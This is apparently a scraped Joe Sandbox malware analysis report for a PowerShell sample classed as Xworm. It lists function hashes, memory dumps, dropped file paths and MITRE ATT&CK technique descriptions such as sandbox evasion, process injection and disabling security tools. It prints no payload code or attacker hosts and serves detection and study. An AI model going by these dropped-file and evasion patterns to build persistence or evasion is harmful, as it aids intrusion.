Opcode ID: ce3113d4889382b389c8e55643e5865a70ddea071c5aba5bd82a04e24b252451
Instruction ID: 88c913f37a0883bd35ea52ae65062120385bcc7a03d204831d47050a6d470b03
Opcode Fuzzy Hash: ce3113d4889382b389c8e55643e5865a70ddea071c5aba5bd82a04e24b252451
Instruction Fuzzy Hash: 3321F5A2A4EA879FE7A9BE38C95117466D5FF58310B7900FAE06DC3193DD18EC058341

Function 00007FFB4AEF2A48 Relevance: .1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1630895942.00007FFB4AEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4aef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0b9e6a73550b1cb41dff17fcfd19bcf67bd5297bf76d43d44df669a04269bbd
Instruction ID: ca967fa7b38d1a5143fcd082906d3c47320787d73a4f8fff5ad39cfbe5f540f5
Opcode Fuzzy Hash: a0b9e6a73550b1cb41dff17fcfd19bcf67bd5297bf76d43d44df669a04269bbd
Instruction Fuzzy Hash: 88112982A4CE860FE3B5BEBD88942352BD5FF55310BB801B7E45CCB187DA14DC414251

Function 00007FFB4AEF6DCC Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1630895942.00007FFB4AEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4aef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f4a0873d224dfb36fc5bbfd1da7bab5db77e9f512becb295248f5b0d24b0b5d
Instruction ID: 2eee9cb52051fbc498dfc24d9c9af51b639d9f6cdb9222abbc34f8ce4c6b8333
Opcode Fuzzy Hash: 4f4a0873d224dfb36fc5bbfd1da7bab5db77e9f512becb295248f5b0d24b0b5d
Instruction Fuzzy Hash: 2E11C1B394E5859FE7A5FF28D5815747AE4FF0831072500FAF06DC7196D919AC118281

Non-executed Functions

Function 00007FFB4AE342DA Relevance: 18.5, Strings: 14, Instructions: 1007COMMON

Download Yara Rule

Strings

`8x[, xrefs: 00007FFB4AE344AC
08x[, xrefs: 00007FFB4AE342F1
H8x[, xrefs: 00007FFB4AE343EF
8x[, xrefs: 00007FFB4AE34998
X8x[, xrefs: 00007FFB4AE3446C
8x[, xrefs: 00007FFB4AE34958
h8x[, xrefs: 00007FFB4AE344EC
p8x[, xrefs: 00007FFB4AE3452C
@8x[, xrefs: 00007FFB4AE34390
88x[, xrefs: 00007FFB4AE34331
(9x[, xrefs: 00007FFB4AE34C84
9x[, xrefs: 00007FFB4AE34B74
P8x[, xrefs: 00007FFB4AE3443A
x8x[, xrefs: 00007FFB4AE3456C

Memory Dump Source

Source File: 00000001.00000002.1630108081.00007FFB4AE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4ae20000_powershell.jbxd

Similarity

API ID:
String ID: 9x[$(9x[$08x[$88x[$@8x[$H8x[$P8x[$X8x[$`8x[$h8x[$p8x[$x8x[$8x[$8x[
API String ID: 0-3632575193
Opcode ID: 43b4634bc5ead2e884983ae6582dc8bb26acbfe5573b6ca88fd67ea19b8ea547
Instruction ID: a7dca04a154568e552fb3c39dc0bfb9fc6406ffddd5815d5bc82f1eb0b9b494d
Opcode Fuzzy Hash: 43b4634bc5ead2e884983ae6582dc8bb26acbfe5573b6ca88fd67ea19b8ea547
Instruction Fuzzy Hash: 7A8230B0A08A498FEB95FF6CD088FA977E1EF65301F2505B5E41DDB292DA74E885C700

Function 00007FFB4AE31438 Relevance: 2.9, Strings: 2, Instructions: 382COMMON

Download Yara Rule

Strings

/L_^, xrefs: 00007FFB4AE31501
{.L, xrefs: 00007FFB4AE3163E

Memory Dump Source

Source File: 00000001.00000002.1630108081.00007FFB4AE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4ae20000_powershell.jbxd

Similarity

API ID:
String ID: /L_^${.L
API String ID: 0-2592374012
Opcode ID: 8bf7434fbc3a23e79ac45036a68a779980bdbe9c1543e686cce4cc9e709ed2c5
Instruction ID: f7260e2c4c737543f9ee71f2803e60c1a67059d02049a22c6320a6f52bdc5f05
Opcode Fuzzy Hash: 8bf7434fbc3a23e79ac45036a68a779980bdbe9c1543e686cce4cc9e709ed2c5
Instruction Fuzzy Hash: B1A15BE3B0962285D5027BFDF8420FCB308EF81376B1481B7DB4D9A0474E5A61AB52F6

Function 00007FFB4AE309F2 Relevance: 2.2, Strings: 1, Instructions: 972COMMON

Download Yara Rule

Strings

:L_^, xrefs: 00007FFB4AE30A01

Memory Dump Source

Source File: 00000001.00000002.1630108081.00007FFB4AE20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AE20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4ae20000_powershell.jbxd

Similarity

API ID:
String ID: :L_^
API String ID: 0-1990364693
Opcode ID: f66ac93df59a4a955cfaf30a45740119762ba39b6cc97ddcebb316d7f61682d3
Instruction ID: 5033722c26f39a3e1db6f9bbb1dfdeacf8076608d74523156489fe84688ed595
Opcode Fuzzy Hash: f66ac93df59a4a955cfaf30a45740119762ba39b6cc97ddcebb316d7f61682d3
Instruction Fuzzy Hash: 1E5203B1A0CA194BE759BF3CD8456F877D9FF98310F2401BAE44DC7297DE28A8428791

Function 00007FFB4AEF341A Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1630895942.00007FFB4AEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4aef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eba36d87f694c44e9d7acc7e10de7e09b1366f3a5aca40959bf8bceef098dd0b
Instruction ID: 51b0c61b62e52b3345f1bd655d58d000e79a5e68421c191dbe4cece93fc2b118
Opcode Fuzzy Hash: eba36d87f694c44e9d7acc7e10de7e09b1366f3a5aca40959bf8bceef098dd0b
Instruction Fuzzy Hash: 6961E48154E7C21FE353BB7899691A17FE5EF53210B2A41FBD4A8CB1E3D90D9806C362

Function 00007FFB4AEF3462 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1630895942.00007FFB4AEF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffb4aef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bb52e42b6756bff261691325c03a2372d96781df4a5cb260390f08257c5d052
Instruction ID: e33b1663426ce593d2fca879f930bca74395e580ae3d08602eeadde3c868488f
Opcode Fuzzy Hash: 8bb52e42b6756bff261691325c03a2372d96781df4a5cb260390f08257c5d052
Instruction Fuzzy Hash: 6C41798144F7C21FE353ABB899691927FF5AF63120B1E41EBD4D4CB0A3D509890AD322

Analysis Process: RegSvcs.exePID: 1112, Parent PID: 7836COMMON

Execution Graph

Execution Coverage:	14.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	51
Total number of Limit Nodes:	7

Executed Functions

Function 00CF80E0 Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.3868042235.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_cf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e76920fdecda5d48aaf4af702df66a871452ad5c162e50428bc917b9b9345c70
Instruction ID: cb44055df79099a6875cdde5423b21f1d5ab0f4a988e76129917fff3be3fccf5
Opcode Fuzzy Hash: e76920fdecda5d48aaf4af702df66a871452ad5c162e50428bc917b9b9345c70
Instruction Fuzzy Hash: E2414631E047499FDB04DFB9D8007AEBBF4EF89310F15866AD508A7291DB789846CBD1

Function 00CF7CD0 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,00CF8132), ref: 00CF821F

Memory Dump Source

Source File: 0000000B.00000002.3868042235.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_cf0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 8912dae8ad873431b7ff553482ec15c099a2c67c6906dcb0ffc93a645c1269a7
Instruction ID: fd0ee710ccb54e31af8ce105b27d16baba19eec8ce76cc7a11cfdfe5a99ca922
Opcode Fuzzy Hash: 8912dae8ad873431b7ff553482ec15c099a2c67c6906dcb0ffc93a645c1269a7
Instruction Fuzzy Hash: DB1100B1C0065A9BDB10DF9AC444BAEFBF4EB48720F10816AE918A7240D778A954CFA5

Function 00CF81B0 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,00CF8132), ref: 00CF821F

Memory Dump Source

Source File: 0000000B.00000002.3868042235.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_cf0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 24100affa78fe878af5532676c5eb3a50e2aa4e967471068c99fa9dda103584d
Instruction ID: 30a1163e1d96ec43250e4a6c7fe36f83bc0cb853525ca7fb4514dc61e9d270ef
Opcode Fuzzy Hash: 24100affa78fe878af5532676c5eb3a50e2aa4e967471068c99fa9dda103584d
Instruction Fuzzy Hash: 111112B5C0065A9BDB10DF9AD5447EEFBF4BF48320F24812AD918B7240D778AA45CFA1

Function 00A8D400 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3865834434.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a8d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11eace37cd971ff9b47271421c20f0cf44f5d201212e259afb08a60194d1122c
Instruction ID: b0e29ea6624f800948683e7267922909e815bdd1a3a4009593f4e9de56ed5b1a
Opcode Fuzzy Hash: 11eace37cd971ff9b47271421c20f0cf44f5d201212e259afb08a60194d1122c
Instruction Fuzzy Hash: 72212575504304DFDB04EF10D9C4B16BF65FB98324F20C56DE8090B296C336E856CBA2

Function 00A8D3FB Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3865834434.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a8d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3062b24f5b0128947100ec6e500ced3c6d63245422b7ec3b5033f72fc324263
Instruction ID: 2858db2547d6431c166a982bdd6bf1af6821c9d6082f1ec3e7c51aad5ec96187
Opcode Fuzzy Hash: e3062b24f5b0128947100ec6e500ced3c6d63245422b7ec3b5033f72fc324263
Instruction Fuzzy Hash: 1311D376504244CFCB15DF10D5C4B16BF72FB94324F24C5A9DC494B696C33AE856CBA1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LUYYSwStKN.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Music\Visuals\VsEnhance.bat

C:\ProgramData\Music\Visuals\VsLabs.vbs

C:\ProgramData\Music\Visuals\VsLabsData.ps1

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1xo4tdqk.qnb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bmc2bprs.35j.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fpkvfbep.1wb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o20obl4h.esc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ortsuiw1.iv2.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u1e5mawz.hl0.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K8MQGTRYSWYCX9SYLRDS.temp

Static File Info

General

File Icon

Windows Analysis Report
LUYYSwStKN.ps1

Function 00007FFB4AEF26F9 Relevance: 1.0, Instructions: 961
COMMON

Function 00007FFB4AEF6D23 Relevance: 1.7, Strings: 1, Instructions: 488
COMMON

Function 00007FFB4AE37E6A Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Function 00007FFB4AEF01E9 Relevance: .4, Instructions: 399
COMMON

Function 00007FFB4AEF7ECF Relevance: .2, Instructions: 186
COMMON

Function 00007FFB4AEF6A83 Relevance: .2, Instructions: 183
COMMON

Function 00007FFB4AD0E540 Relevance: .1, Instructions: 122
COMMON

Function 00007FFB4AEF6ACF Relevance: .1, Instructions: 96
COMMON

Function 00007FFB4AEF2A48 Relevance: .1, Instructions: 78
COMMON

Function 00007FFB4AEF6DCC Relevance: .1, Instructions: 63
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre